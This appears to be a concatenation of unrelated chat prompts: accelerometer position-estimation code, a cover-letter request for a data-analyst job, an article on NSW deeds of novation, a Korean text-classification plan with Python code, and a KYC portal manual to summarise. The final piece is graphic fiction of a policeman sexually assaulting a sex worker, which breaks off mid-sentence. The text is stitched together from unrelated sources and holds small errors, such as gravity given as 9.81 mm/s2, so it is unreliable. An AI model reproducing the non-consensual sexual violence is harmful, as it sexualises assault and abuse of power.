Estimate position based on linear acceleration\nThis uses the linear accelerometer output data to estimate the device\'s position. It has the below steps:\nUnit conversion – the linear accelerometer output data is in units of g. This is converted into units of mm/s2 which are more useful for real-world analysis (by multiplying it by acceleration due to gravity: 9.81 mm/s2)\n\nAverage linear acceleration between samples – the average linear acceleration between two adjacent time intervals (0.11 seconds apart) is determined. \n\nAverage linear velocity between samples – through integration over the time interval, the average linear velocity between time intervals is determined and recorded.\n\nDisplacement between intervals – a further integration over the time interval determines the displacement during that time interval\n\nDetermine position over time – summation of the displacement between time intervals is used to determine, at a particular time, the position of the device in mm along the axis with respect to its starting position.\nThis function can be applied to the accelerometer readings for each axis: x, y and z. \n# Estimate position based on linear acceleration\n\ndef posest(df, g\\_units, position):\n\n g\\_units\\_to\\_zero = df[g\\_units] - df[g\\_units][0]\n\n mmps2 = g\\_units\\_to\\_zero \\* gravity \\* 1000\n\n linear\\_velocity = (mmps2 + mmps2.shift(1)) / 2 \\* interval\n\n linear\\_displacement = linear\\_velocity \\* interval\n\n df[position] = linear\\_displacement + linear\\_displacement.shift(1)\nFunction 3: Estimate orientation based on angular acceleration \nAngular acceleration – similar to function 2, data manipulation and integration operations are performed on the gyro outputs to obtain angular velocity and roll, pitch and yaw position.\n# Estimate orientation based on angular acceleration \ndef orest(df, angular\\_acceleration, orientation):\n angular\\_acceleration\\_to\\_zero = df[angular\\_acceleration] - df[angular\\_acceleration][0]\n angular\\_velocity = (angular\\_acceleration\\_to\\_zero + angular\\_acceleration\\_to\\_zero.shift(1)) / 2 \\* interval\n angular\\_displacment = angular\\_velocity \\* interval\n df[orientation] = angular\\_displacment + angular\\_displacment.shift(1)\nPlotting the data\nThe position and orientation estimates are plotted over time. \n\n\n\nIt sounds like you are working on a project to analyze data from an Arduino microcontroller attached to a medical device. The data includes readings from linear accelerometers and gyroscopes, which are used to estimate the device\'s position and orientation over time. You are using Python to process the data and perform mathematical operations to derive these estimates. In the next phase of the project, you plan to collect and analyze data over a longer time period, and apply machine learning techniques to draw conclusions from the data. Your work demonstrates the potential of data analysis in the medical field, as it can help doctors and researchers better understand the performance of medical devices and the conditions of patients. Keep up the good work!\n\n\nMartin Weston\nHere is the job description of a job I am considering applying for. It is for the role of Data Analyst at EMI, part of Universal Music Group. \n\nThe Data Analyst role at EMI is integral to supporting the A&R, marketing and commercial teams in driving a culture of insight-based decision making and consistent feedback on our artists’ growth. Identifying the most valuable and impactful signifiers amongst the wealth of data available to us to tell the story in a relatable manner. Our goal is to empower our artists and label teams to make informed decisions based on those insights and ultimately deliver success.\n\nThe role will delve into the intersection of music and content consumption across all platforms, translating who and how fans are consuming, their behaviours, preferences and how growth can be positively impacted in this evolving landscape. Working closely with the marketing team and Fused, the Data Analyst will continue to build on the ‘test and learn’ roadmaps for our artists to grow and nurture superfans. Focussing on during and outside of release cycles, with an ‘always on’ approach through content and platform specific strategies.\n\nLooking back is as important as forward, the Data Analyst will play a lead role in driving a culture of feedback and reflection through data, bringing all departments together to dissect performance and learn from artist’s campaigns to inform future decision making.\n\nThe Data Analyst will have experience using large sets of data and information and be confident in translating these into actionable insights, plus develop close working relationships with various central data teams including Fused, The Square, Global Data Strategy, Commercial Intelligence and also with social platforms where required.\n\nThe B Side: Skills & Experience \n\nBe Analytical\n\nWork closely with all relevant internal and external stakeholders to help find the marketing story within the huge wealth of data we sit upon.\nKeep insights concise and easy to measure commercial impact including analysis of streaming and social data that translate to measurable KPI’s.\nMost significantly focussing on the impact of organic sound usage across social platforms such as Tik Tok, Instagram and YouTube.\nCombine commercial insights with contextual information on artists’ fans to build and deliver a full picture of an artists’ fanbase and how this evolves\nDeliver both management friendly and internal updates\nCreate timely reports highlighting KPI’s of interest from artist to macro level, depending on commercial/label/artist needs.\nUse of unique qualitative and quantitative information where relevant.\nBe Operational\n\nBuild bespoke systems and processes to help speed up processes in a fast-paced environment.\nFocus on improving the automation and data self-service across the label, collaborate across departments to help find solutions.\nAttend meetings, gigs, showcases, conferences, and other events to represent the label where required.\nBe Collaborative \n\nSupport key departments at EMI to ensure the successful interrogation of insight driven theories, feed into longer term planning.\nWork with data specialists in labels & central teams – both in UK and internationally - to ensure we are fully across the latest changes in this area - evolve our current measurement frameworks including econometric modelling of performance data.\nContribute to long-term plan to effect positive change within the label using data & analysis\nPersonal specification\n\nExperience in analysis role. SQL, Python or BigQuery knowledge would be a bonus.\nAbility to be both creative and data driven.\nExtremely digital savvy and quick to adopt trends.\nPassionate at reading audiences and trends in the music landscape.\nExceptional communication, presentations and organization skills.\nArtist focused and passionate about the music industry with a good knowledge of the digital and short form landscape.\nProactive attitude to work to deadlines, meet targets and multitask in a fast-paced environment.\nStrong relationship building skills and a team-oriented approach.\nJust so you know…\n\nThe company presents this job description as a guide to the major areas and duties for which the jobholder is accountable. However, the business operates in an environment that demands change and the jobholder\'s specific responsibilities and activities will vary and develop. Therefore, the job description should be seen as indicative and not as a permanent, definitive and exhaustive statement.\n\nJust So You Know…\n\nThe company presents this job description as a guide to the major areas and duties for which the jobholder is accountable. However, the business operates in an environment that demands change and the jobholder\'s specific responsibilities and activities will vary and develop. Therefore, the job description should be seen as indicative and not as a permanent, definitive, and exhaustive statement.\nJob Category:\nData, Analytics & Business Intelligence\nThe Data Analyst role at EMI involves using data to support the A&R, marketing, and commercial teams in making informed decisions and measuring the success of their strategies. The role will involve analyzing data on music and content consumption across platforms, identifying key trends and behaviors, and working closely with marketing teams to develop strategies for growing and engaging fans. The Data Analyst will also play a key role in driving a culture of feedback and reflection within the company, using data to inform future decision making. The ideal candidate will have experience using large sets of data, be skilled in translating data into actionable insights, and be comfortable working with various internal and external stakeholders. Experience with SQL, Python, and BigQuery would be a plus.\n\n\nMartin Weston\nCan you please draft a cover letter (about a page) for the job application making reference to my skills etc.' -"Write me a title for this article:\nAs a homeowner in NSW, it's vital to understand the legal mechanisms governing contractual obligations transfer. One such mechanism is Deed of Novation, useful when businesses change name or transfer contracts to third parties. This article explores Deed of Novation's definition, its importance to homeowners, and its differences from other legal mechanisms. By the end, you'll have a better understanding of Deed of Novation's relevance to homeowners in NSW.\nWhat is a Deed of Novation?\nA deed of novation is a legal document that allows one party to transfer its rights and obligations under an existing contract to a new party, who takes on these responsibilities and benefits from the original contract. This document enables the original party to be released from the contract while the new party assumes all legal obligations and rights under the agreement. \n\nNovation is typically used when a business undergoes significant changes such as mergers, acquisitions, or restructuring, and there is a need to transfer existing contractual agreements to a third party.\n\nNovation differs from an assignment in that it transfers all rights and obligations, while an assignment only transfers contractual benefits. It is essential to understand the implications of novation and seek legal advice to ensure that the deed is legally binding and effectively transfers contractual rights and obligations.\nKey Components of a Deed of Novation\nA deed of novation is a simple and effective tool for transferring the rights and obligations of one party under a contract to a third party. \n\nHere are the key components that a deed of novation should include:\n\nNovation or Effective Date\nThe novation or effective date is the date on which the new party will assume all the rights and obligations under the original contract. This date is critical, as it marks the point at which the transfer of rights and obligations takes place.\n\nRelease\nA release clause in a deed of novation releases the original party from all the obligations and liabilities under the contract from the date of novation. This clause ensures that the original party is no longer liable for any obligations or liabilities under the contract.\n\nRepresentations and Warranties\nRepresentations and warranties are promises made by both parties regarding the validity of the contract and their authority to enter into it. They also ensure that both parties are aware of each other's obligations and liabilities under the contract.\n\nFees and Payments\nThe fees and payments clause outlines any fees or payments that either party must make under the contract. This clause is critical, as it ensures that both parties are aware of their financial obligations under the contract.\n\nIt is essential to ensure that all these key components are included in the deed of novation to ensure that the transfer of rights and obligations is complete and legally binding. It is always recommended to consult with a legal professional before drafting or signing any legal documents.\n\nBenefits of a Deed of Novation\nA Deed of Novation offers several benefits to parties involved in a contract. By using a Deed of Novation, you can transfer your rights and obligations under an existing contract to a third party, without the need for extensive negotiation or the termination of the original contract. This can save time, money and resources, especially if the transfer involves complex contracts or multiple parties.\n\nOne of the key benefits of a Deed of Novation is that it allows you to simplify the process of transferring contractual obligations. Rather than renegotiating a new contract, you can simply transfer the existing contract to a new party. This can be particularly useful in situations where you are selling your business or restructuring your operations.\n\nAnother advantage of a Deed of Novation is that it minimizes the need for negotiation. Since the terms of the original contract remain the same, you can avoid lengthy and complicated negotiations with the other party. This can make the process of transferring contractual obligations more straightforward and efficient.\n\nFinally, a Deed of Novation can help you avoid the termination of existing contracts. If you need to transfer your contractual obligations to a third party, but do not want to terminate the existing contract, a Deed of Novation may be the best option. This way, you can transfer the obligations to a new party, while keeping the existing contract intact.\n\nRisks Associated with a Deed of Novation\nWhile a deed of novation is a useful legal tool, it is important to be aware of the potential risks that come with it. Here are some of the most significant risks to consider:\nUnforeseen obligations and liabilities: When entering into a deed of novation, it is essential to carefully consider the obligations and liabilities that are being transferred. There may be unforeseen obligations or liabilities that the new party may not be aware of, which could lead to disputes or legal action in the future.\nLack of clarity regarding the terms of the novation: A deed of novation must clearly outline the terms of the agreement to avoid any confusion or misunderstandings between the parties. Without clear and concise terms, there is a risk that the parties may have different interpretations of their obligations and responsibilities.\nThe need for careful consideration and legal advice: As with any legal agreement, it is important to seek professional legal advice before entering into a deed of novation. This will ensure that you understand the legal implications of the agreement and the risks associated with it.\nBy being aware of these risks and taking the necessary precautions, you can mitigate potential issues and ensure that the novation process runs smoothly.\n\nCommon Scenarios for Using a Deed of Novation\nA deed of novation can be a useful legal instrument in several scenarios, some of which include:\nSale or transfer of a business: If you're selling your business or transferring its ownership to another entity, a deed of novation can help transfer the contracts and obligations to the new owner.\nChanges in business structure: When you change your business structure, for example, from a sole trader to a company, a deed of novation can be used to transfer the contractual obligations to the new entity.\nTermination of contracts: A deed of novation can be used to transfer the obligations and rights under a contract to a third party, effectively terminating the contract.\nIt's important to note that while a deed of novation can be a useful legal tool in these scenarios, it's essential to obtain legal advice to ensure that the novation is done correctly and that all parties understand their rights and obligations.\n\nHow to Draft a Deed of Novation\nA Deed of Novation is a legal document that requires careful drafting to ensure that the transfer of obligations and rights is carried out smoothly and effectively. As such, it is important to seek legal advice from a qualified lawyer experienced in drafting and executing such deeds. Here are some key considerations to keep in mind when drafting a Deed of Novation:\nImportance of Legal Advice\nIt is essential to seek legal advice before entering into a Deed of Novation. A qualified lawyer can guide you through the process, identify any potential legal issues, and ensure that the deed is legally binding and enforceable.\nKey Considerations When Drafting a Deed of Novation\nWhen drafting a Deed of Novation, it is important to consider the following:\nParties involved - Clearly identify the parties involved in the novation, including the original parties, the new parties, and any other relevant parties.\nNovation or Effective Date - Clearly state the date from which the novation applies to the parties.\nRelease - Include a clause releasing the original party from all performance of the contract from the novation date.\nRepresentations and Warranties - Include any representations or warranties made by either party.\nFees and Payments - Include any fees or payments to be made by either party.\nSample Deed of Novation\nHere is an example of a Deed of Novation template:\n[Insert date of novation]\nDeed of Novation\nParties\n[Insert original party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (Original Party);\n[Insert new party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (New Party).\nBackground\n[Insert details of the original contract].\nAgreed Terms\n[Insert details of the novation, including the novation or effective date, release, representations and warranties, and fees and payments].\nExecution\nExecuted as a Deed.\nExecuted by:\n[Insert name of Original Party]\n[Insert signature of Original Party]\n[Insert name of New Party]\n[Insert signature of New Party]\n\nSigning a Deed of Novation\nOnce the Deed of Novation has been drafted, it's time to execute it. The signing of a Deed of Novation is an essential step that requires careful consideration. The following are key points to keep in mind when signing a Deed of Novation:\n\nRequirements for signing a Deed of Novation:\n\nAll parties involved in the agreement must sign the Deed of Novation.\nThe signatures of witnesses may also be required, depending on the jurisdiction and the terms of the agreement.\nThe date of execution must be clearly stated on the Deed of Novation.\n\nImplications of a poorly executed Deed of Novation:\n\nThe failure to comply with the necessary legal requirements can result in the Deed of Novation being invalid, which could create legal problems down the line.\nIncomplete or unclear Deeds of Novation can cause confusion and lead to disputes.\n\nIt is therefore recommended that parties seek legal advice when executing a Deed of Novation to ensure that all legal requirements are met and that the document is executed correctly.\n\nConclusion\nIn conclusion, a Deed of Novation is an important legal document that can be used in a variety of scenarios to transfer contractual obligations. While there are benefits to using a Deed of Novation, there are also risks that must be carefully considered. Seeking legal advice is crucial to ensure that the document is drafted correctly and executed properly. \n\nAt Contracts Specialist, we offer a free consultation to homeowners in NSW who are considering a Deed of Novation. Contact us today to schedule a meeting with one of our experienced lawyers." -'제공된 정보를 바탕으로 이 텍스트 분류 문제에 접근하기 위해 수행해야 하는 단계의 개요는 다음과 같습니다:\n\n데이터 전처리:\n\n\'train.csv\' 및 \'test.csv\' 파일을 로드합니다.\n특수 문자, HTML 태그, URL, 숫자(유용한 정보를 제공하지 않는 경우)를 제거하여 텍스트 정리를 수행합니다.\n모든 텍스트를 소문자로 변환합니다.\n텍스트를 토큰화합니다(단어로 분할).\n정지 단어는 상위 1그램 주파수를 지배하고 분류에 크게 기여하지 않을 수 있으므로 제거합니다.\n어간 또는 형태소 변환을 수행하여 단어를 어근 형태로 줄이면 특징 공간을 줄이는 데 도움이 될 수 있습니다.\n특징 엔지니어링:\n\n단어의 가방(BoW), 용어 빈도 역문서 빈도(TF-IDF) 또는 단어 임베딩(예: Word2Vec, GloVe 또는 FastText)과 같은 기술을 사용하여 토큰화된 텍스트를 숫자 피처로 변환합니다.\n필요한 경우 주성분 분석(PCA), 절단된 특이값 분해(SVD) 또는 t-분산 확률 이웃 임베딩(t-SNE)과 같은 기술을 사용하여 차원 축소를 수행합니다.\n클래스 불균형 처리:\n\n레이블이 불균형하므로 소수 클래스(예: SMOTE)를 오버샘플링하거나 다수 클래스를 언더샘플링하는 등의 기법을 사용하는 것을 고려하세요.\n또는 모델 학습 중에 소수 클래스에 더 높은 가중치를 할당하여 비용에 민감한 학습을 사용할 수도 있습니다.\n모델 선택 및 훈련:\n\n\'train.csv\' 데이터를 훈련 및 검증 세트로 분할합니다.\n나이브 베이즈, 로지스틱 회귀, SVM(서포트 벡터 머신), 랜덤 포레스트, GBM(그라디언트 부스팅 머신) 등 다양한 모델을 실험해 보세요.\n컨볼루션 신경망(CNN), 순환 신경망(RNN), 장단기 기억(LSTM) 네트워크 또는 BERT, RoBERTa, GPT와 같은 트랜스포머 기반 모델과 같은 딥러닝 모델도 사용해 볼 수 있습니다.\n모델 평가 및 하이퍼파라미터 튜닝:\n\nk-배 교차 검증을 사용하여 F1 점수를 기반으로 모델을 평가하세요.\n그리드 검색 또는 무작위 검색과 같은 기술을 사용하여 선택한 모델의 하이퍼파라미터를 조정합니다.\n모델 앙상블:\n\n필요한 경우 여러 모델을 결합하여 배깅, 부스팅 또는 스태킹과 같은 기법을 통해 성능을 개선합니다.\n제출:\n\n전체 \'train.csv\' 데이터 세트에 대해 최종 모델을 훈련합니다.\n학습된 모델을 사용하여 \'test.csv\' 데이터 세트에 대한 예측을 생성합니다.\n예측된 레이블을 사용하여 \'sample\\_submission.csv\' 형식의 제출 파일을 생성합니다.\n대회에 예측을 제출합니다.\n대회 규칙을 준수하고 외부 데이터를 사용하거나 테스트 데이터세트로 모델을 훈련시키지 않도록 유의하세요. 행운을 빕니다!\n\nTranslated with www.DeepL.com/Translator (free version)\n\n\nimport pandas as pd\nimport numpy as np\nimport re\nfrom sklearn.feature\\_extraction.text import TfidfVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model\\_selection import train\\_test\\_split, StratifiedKFold, GridSearchCV\nfrom sklearn.metrics import f1\\_score\nfrom imblearn.over\\_sampling import SMOTE\nfrom gensim.models import FastText\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom lightgbm import LGBMClassifier\nfrom tqdm.auto import tqdm\n\n# Data preprocessing\ndef preprocess\\_text(text):\n text = re.sub(r"//.\\*", "", text)\n text = re.sub(r"http\\S+|www\\S+|https\\S+", "", text)\n text = re.sub(r"\\W", " ", text)\n words = word\\_tokenize(text.lower())\n stop\\_words = set(stopwords.words("english"))\n words = [word for word in words if word not in stop\\_words]\n return " ".join(words)\n\n# Load the data\ntrain = pd.read\\_csv("./data/train.csv")\ntest = pd.read\\_csv("./data/test.csv")\n\n# Preprocess text data\ntrain["text"] = train["text"].apply(preprocess\\_text)\ntest["text"] = test["text"].apply(preprocess\\_text)\n\nfrom gensim.models import FastText\nfrom tqdm.auto import tqdm\n\n# Feature engineering\nembedding\\_size = 150 # Increase the embedding\\_size as needed\ntrain\\_sentences = train["text"].apply(lambda x: x.split()).tolist()\n\n# Train FastText model with tqdm\nfasttext\\_model = FastText(sentences=tqdm(train\\_sentences, desc="Training FastText"), vector\\_size=embedding\\_size, window=3, min\\_count=1, epochs=10)\n\ndef get\\_text\\_vector(text, model, embedding\\_size):\n words = text.split()\n text\\_vector = np.zeros(embedding\\_size)\n n\\_words = 0\n \n for word in words:\n if word in model.wv:\n text\\_vector += model.wv[word]\n n\\_words += 1\n \n if n\\_words > 0:\n text\\_vector /= n\\_words\n \n return text\\_vector\nX\\_train = np.array([get\\_text\\_vector(text, fasttext\\_model, embedding\\_size) for text in tqdm(train["text"])], dtype=np.float64)\nX\\_test = np.array([get\\_text\\_vector(text, fasttext\\_model, embedding\\_size) for text in tqdm(test["text"])], dtype=np.float64)\ny\\_train = train["label"].to\\_numpy()\n\n# Perform SMOTE sampling\nsmote = SMOTE(random\\_state=42)\nX\\_train, y\\_train = smote.fit\\_resample(X\\_train, y\\_train)\n\n# Split the data\nX\\_train, X\\_val, y\\_train, y\\_val = train\\_test\\_split(X\\_train, y\\_train, test\\_size=0.1, random\\_state=42, stratify=y\\_train)\n# Model\ngbm = LGBMClassifier(random\\_state=42)\n\n# Hyperparameter tuning\nparam\\_grid = {\n \'n\\_estimators\': [100, 200, 300],\n \'learning\\_rate\': [0.01, 0.1, 0.2],\n \'max\\_depth\': [3, 5, 7],\n \'num\\_leaves\': [31, 63, 127]\n}\n\ngrid\\_search = GridSearchCV(estimator=gbm, param\\_grid=param\\_grid, scoring=\'f1\\_weighted\', cv=3, verbose=2, n\\_jobs=-1)\ngrid\\_search.fit(X\\_train, y\\_train)\n#best\\_params = grid\\_search.best\\_params\\_\nbest\\_params = {\'learning\\_rate\': 0.2, \'max\\_depth\': 7, \'n\\_estimators\': 300, \'num\\_leaves\': 63}\nprint("Best parameters found: ", best\\_params)\n\n# Train the final model with the best parameters\nbest\\_gbm = LGBMClassifier(\\*\\*best\\_params, random\\_state=42)\n\n# K-fold cross-validation\nkf = StratifiedKFold(n\\_splits=5, random\\_state=42, shuffle=True)\nf1\\_scores = []\n\nfor train\\_index, val\\_index in tqdm(kf.split(X\\_train, y\\_train)):\n X\\_train\\_cv, X\\_val\\_cv = X\\_train[train\\_index], X\\_train[val\\_index]\n y\\_train\\_cv, y\\_val\\_cv = y\\_train[train\\_index], y\\_train[val\\_index]\n\n best\\_gbm.fit(X\\_train\\_cv, y\\_train\\_cv)\n preds = best\\_gbm.predict(X\\_val\\_cv)\n f1\\_scores.append(f1\\_score(y\\_val\\_cv, preds, average=\'weighted\'))\n\nprint("Average F1-score:", np.mean(f1\\_scores))\n\n# Train the final model\nbest\\_gbm.fit(X\\_train, y\\_train)\n\n# Generate predictions\npredictions = best\\_gbm.predict(X\\_test)\n\n# Create submission file\nsubmission = pd.DataFrame({"id": test["id"], "label": predictions})\nsubmission.to\\_csv("./data/sample\\_submission.csv", index=False)\nModify the entire code.\n- Use the BERT model.\n- Use a GPU.\n- Remove the stop words.\nBe careful to preserve and modify existing code.\nSplit the code into thirds and only output two parts.' -'hi - can you summarise this text: Introduction to BureauSuite:\nBureauSuite is Consumer Profile Bureau’s (CPB) online web portal for all related enquiries.\n\nAccess to the BureauSuite Portal\nLogin to the BureauSuite portal via the following URL: https://www.consumerprofilebureau.com/ \nThen click on the \n1. Click on the "Login" button on the menu bar available.\n2. Enter your current Login Details that were supplied to you by CPB and click on the "Bureau login" button.\n3. Once logged on, you will see your Name and Surname, Company Name and Permissible Purpose on the top righthand corner of the screen\n\nKYC Templates product description:\nKYC (Know Your Client / Customer) is customisable for each of our clients. This customization is then applied via TEMPLATES that WE (the KAM\'s or "Key Account Managers") design ourselves, after consultation with the client on what THEIR rules are and that they wish to have applied according how they interpret the FICA.\n\nMainly there is a procedural template AND/OR an OUTPUT template design. The Procedural template is applicable to ALL KYC while the OUTPUT template is only needed for clients that use KYC in batches.\n\nSections to consider during the template design phase with your client are:\nKYC Validation\nNames\nAddresses: Primary Source matching (only for batches)\nAddresses\nTelephones\nEmployers and\nEmails\nKYC Templates Benefits:\nEach client can easily be accommodated to their OWN specifications\n\\* Each client can have multiple templates and they can simply “apply” the one that is applicable for the job at hand/ or per department\n\\* The KYC environment is relatively fluid, adjustments and changes are easy and quick\n\\* Templates are named and thus easy identified – (integration has a Template number)\nData fields returned (on batches only) :\n\\* Either CSV or pdf output is a choice\n\\* Output fields may include, exclude or filter on some input fields to be returned of these are:\no Cost Centre\no Campaign Name \no Unique Reference number\no ID number\no Surname\no First Names\no Input Address\no Employer Name\no Cell Number\no Home Number\no Work Number\no Email Address\n\\* Name results \no Total Records\no First Name Results\no Surname Results\no Source Name\no Source Date\no Output ID Valid Flag\no Output Deceased Flag\no Output Minor Flag\no Output Fraud Flag\n\\* Address Results\no Total Records\no Line 1,2,3,4 and Post Code\no Address Type\no Max Score\no Source Name\no Source Date\no Match Type\no Include Latest Address (this, if set to yes, ignores any filters that are set – always returns the latest address)\n\\* PDF Footnote if any\nHow to create the KYC Procedure Template portion:\n\\* Most of the options are merely a “Yes”/ “No” pull down menu choice\n\\* For the KYC Validation section (these are for remediation only)\no Choose Yes or No for Names Must match\no Choose Yes or No for Address MUST match\n\n\\* For the Names:\no Choose Yes or No to Reject if ID is invalid (this is pre-set to Yes)\no Choose Yes or No for Reject if Minor/Child\no Choose Yes or No for Reject if Deceased\no Choose Yes or No for Reject if SAFPS (this is pre-set to Yes) (Please see the NOTE at the end of this manual on SAFPS specifics)\no Choose Yes or No for Use DHA Extra (this is pre-set to No)\no Choose Yes or No for SAFPS Perpetrators only (this is pre-set to No) (Please see the NOTE at the end of this manual on SAFPS specifics)\no Match Rules for sources – Three “fill” in with figures blocks with arrows to increase or decrease are to be chosen. \n\\* First is for Golden source(s)\nAND\n\\* Other Source(s)\nOR\n\\* Other Source(s)\n\nThe numbers you put in or click into these blocks reflect the “AMOUNT” of sources to be matched to succeed.\no Specify the Ranges for Golden Sources\nIn this section the minimum (Min) for (the choice block is BEFORE the choice)\n\\* months specification\n\\* Name Score\n\\* 2nd Name score and\n\\* Surname Score\n\nSpecify the Ranges for Other Sources just as per the Golden sources above.\no Manual Verification (only for batches) (DO NOT USE THIS – it is de-commissioned and will in a future version no longer be a choice here)\no Choose Yes or No for Allow maiden name match\no Choose Yes or No for Allow Initials match\no Choose Yes or No for Fore Names to Switch (pre-set to Yes) and then choose a Min swop score – (pre-set to zero)\no Type in sources to “Exclude Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to EXCLUDE their OWN information that they submit as a source)\no Type in sources to “Include Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to specifically want to include only specific sources those that their auditors accepted as valid sources to validate from)\n\n\\* For the Address Primary Source Matching (for batches only)\no Choose Yes or No for Only Allow Primary Sources\no Specify a “earliest” date of submission to allow into the “First Source Date (Submission) with a “amount of month old” fill in box. Note that Matches with addresses OLDER than those amount of months, will be ignored and hence will not allow to match even if it is identical and 100% scored.\n\n\\* For the Addresses\no Match Rules for sources – Three “fill” in with figures blocks with arrows to increase or decrease are to be chosen. \n\\* First is for Golden source(s)\nAND\n\\* Other Source(s)\nOR\n\\* Other Source(s)\n\nThe numbers you put in or click into these blocks reflect the “AMOUNT” of sources to be matched to succeed.\no Specify the Ranges for Golden Sources\n\\* Specify the minimum Months “age” allowed to be used to match and\n\\* Specify if any minimum score should be applied\nSimilarly specify if any Other Sources (and their ranges) are applicable\no Manual Verification (only for batches) (DO NOT USE THIS – it is de-commissioned and will in a future version no longer be a choice here)\no Choose Yes or No for Match Postal Address\no Choose Yes or No for Complex Number must Match\no Choose Yes or No for Street Number must Match\no Choose Yes or No for Street Name must Match\no Choose Yes or No for Suburb must Match\no Choose Yes or No for Allow informal Match (for informal addresses to match)\no Choose Yes or No for Allow Fuzzy Match (If this is set to Yes it almost cancels ALL of the above since if this is on, various possible false positives are possible (see the warning on screen): If selected then we will not be able to successfully match Complex and Street Names. In other words, a "allow fuzzy match" does not know/understand a specific part of the address belongs to a name, city, suburb, complex or street name. An address like "1 CHURCH COURT, CHURCH STREET" may match very well to an address like "11 CHURCH HILL, COURT STREET", two distinctly different addresses and may cause false positives.\no You can NOT change the pre-set input field “Informal/Fuzzy Number must match” which is automatically set to Yes – so you can ignore this input field\no Choose a Number between 60 and a 100 for the Informal/ Fuzzy score\no Type in sources to “Exclude Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to EXCLUDE their OWN information that they submit as a source)\no Type in sources to “Include Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to specifically want to include only specific sources those that their auditors accepted as valid sources to validate from)\n\n\\* For the Telephones\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Telephone numbers).\no Fill in (or click increase/decrease) the amount of months into Ranges for Sources to determine how old/young a telephone number must be to be matched.\no Choose Yes or No for Telephone Number must Match\n\n\\* For Employers\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Employers (we do not yet have access to Department of Labour who would be such a Golden Source).\no Fill in (or click increase/decrease) the amount of months into Ranges for Sources to determine how old/young an employer record must be to be matched.\no Choose Yes or No for Employer must Match\n\n\\* For Emails\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Employers (we do not yet have access to Department of Labour who would be such a Golden Source).\no Fill in (or click increase/decrease) the number of months into Ranges for Sources to determine how old/young an employer record must be to be matched.\no Choose Yes or No for Employer must Match\n\nHow to create the KYC Output Template portion:\nThis template is for the output details\n\\* Most of the options are merely a “Yes”/ “No” pull down menu choice\n\\* For the Export details you need to indicate which output “type” you prefer\no Choose Yes or No for if you want your Export CSV\no Choose Yes or No for if you want your Export PDF\nIf you choose Yes for both, you would generate both – this may incur extra costs\n\n\\* For the input that needs to be ALSO reflected on the output\no Choose Yes or No for Cost Centre\no Choose Yes or No for Campaign Name\no Choose Yes or No for Unique Reference\no Choose Yes or No for ID Number\no Choose Yes or No for Surname\no Choose Yes or No for First Names\no Choose Yes or No for Input Address\no Choose Yes or No for Employer Name\no Choose Yes or No for Cell Number\no Choose Yes or No for Home Number\no Choose Yes or No for Work Number\no Choose Yes or No for Email Address\n\\* Name Results: Must these be included in the extract\no Insert (or click increase/decrease) the number of records to return\no Choose Yes or No for First Name Result\no Choose Yes or No for Surname Result\no Choose Yes or No for Source Name\no Choose Yes or No for Source Date\no Choose Yes or No for Output ID Valid Flag\no Choose Yes or No for Output Deceased Flag\no Choose Yes or No for Output Minor Flag\no Choose Yes or No for Output Fraud Flag\n\\* Address Results: Must these be included in the extract\no Insert (or click increase/decrease) the number of records to return\no Choose Yes or No for Line 1\no Choose Yes or No for Line 2\no Choose Yes or No for Line 3\no Choose Yes or No for Line 4\no Choose Yes or No for Post Code\no Choose Yes or No for Address Type\no Choose Yes or No for Max Score\no Choose Yes or No for Source Name\no Choose Yes or No for Source Date\no Choose Yes or No for Match Type\no Choose Yes or No for Address Latest Address (Do NOTE that if this is set to Yes, the output will ALWAYS return the latest address irrespective of any filters that are to the contrary)\n\n\\* For PDF specifics, specify the PDF Footnote or if none is to be defined, leave it at it’s pre-set “Array” input. Also note the note on the bottom of the screen.\n\nHow to access the Create KYC Templates:\n1. Once you logged on click or hover with your mouse pointer over the menu called KYC and then select the KYC Templates menu from the sub-menu that opens.\n\n2. Click on the tab called “Create New Template”\n\n3. Select from the “Template Type” field, either a “Consumer” type or a “Commercial” type template that you wish to create and click on the “Select Template” button to start.\n\n4. On the screen that opens, fill in \n\\* The template name – keep in mind that this is FIXED and cannot be changed afterwards\n\\* For remediation billing fill in the cost EITHER per batch – (this means that EACH batch will be charged at this FIXED cost – irrespective of ONE record or a million submitted) OR per individual (meaning per each individual record submitted this is the cost per each record)\n\nAnd then click on “Create Template” to create this.\n\nExporting your template:\n\nAfter any such template is created, to export this you would need to use the tab called “Existing Templates”\n\nYou need to search in the list below this for the name of YOUR template that you wish to export and once found, click on the right side (under the Actions-heading” on the “PDF”-button.\n\nThe pdf document will open on screen from where you can use any usual printing methods to produce the output you wish.\n\nOnline Support and Queries:\n\n\\* For online support you will need to click on the Support tab, then click on “Online Support”:\n\n\\* Complete the details required and click on at the left bottom corner of the form' -'The sub is wearing a short, tight skirt and a low-cut top, revealing her ample cleavage. She is standing on the street corner, looking nervous and desperate as she tries to attract the attention of passing men.\n\nTony, the degenerate policeman, watches from a distance, a twisted smile on his face. He knows that he has her trapped, and he relishes the thought of what he is going to do to her.\n\nHe approaches her, pretending to be a potential customer, and she quickly agrees to his offer. She gets into his car. As they drive to the secluded alley, Tony turns to the sub and grins wickedly. "You know what\'s going to happen when we get there, don\'t you?" he says, his voice low and menacing.\nThe sub nods, her eyes wide with fear and excitement. She knows that she is at Tony\'s mercy, and that he is going to do whatever he wants to her.\nWhen they arrive at the alley, Tony pulls her out of the car and pushes her against the wall. He rips off her clothes, leaving her naked and vulnerable. She tries to resist, but he is too strong, and she can only submit to his will.\nHe ties her hands behind her back and forces her to her knees, his eyes blazing with lust. He pulls out his cock and presses it against her lips, forcing her to suck him. She gags and struggles, but he only laughs and continues to dominate her.\n\nTony forced the slut\'s legs to spread 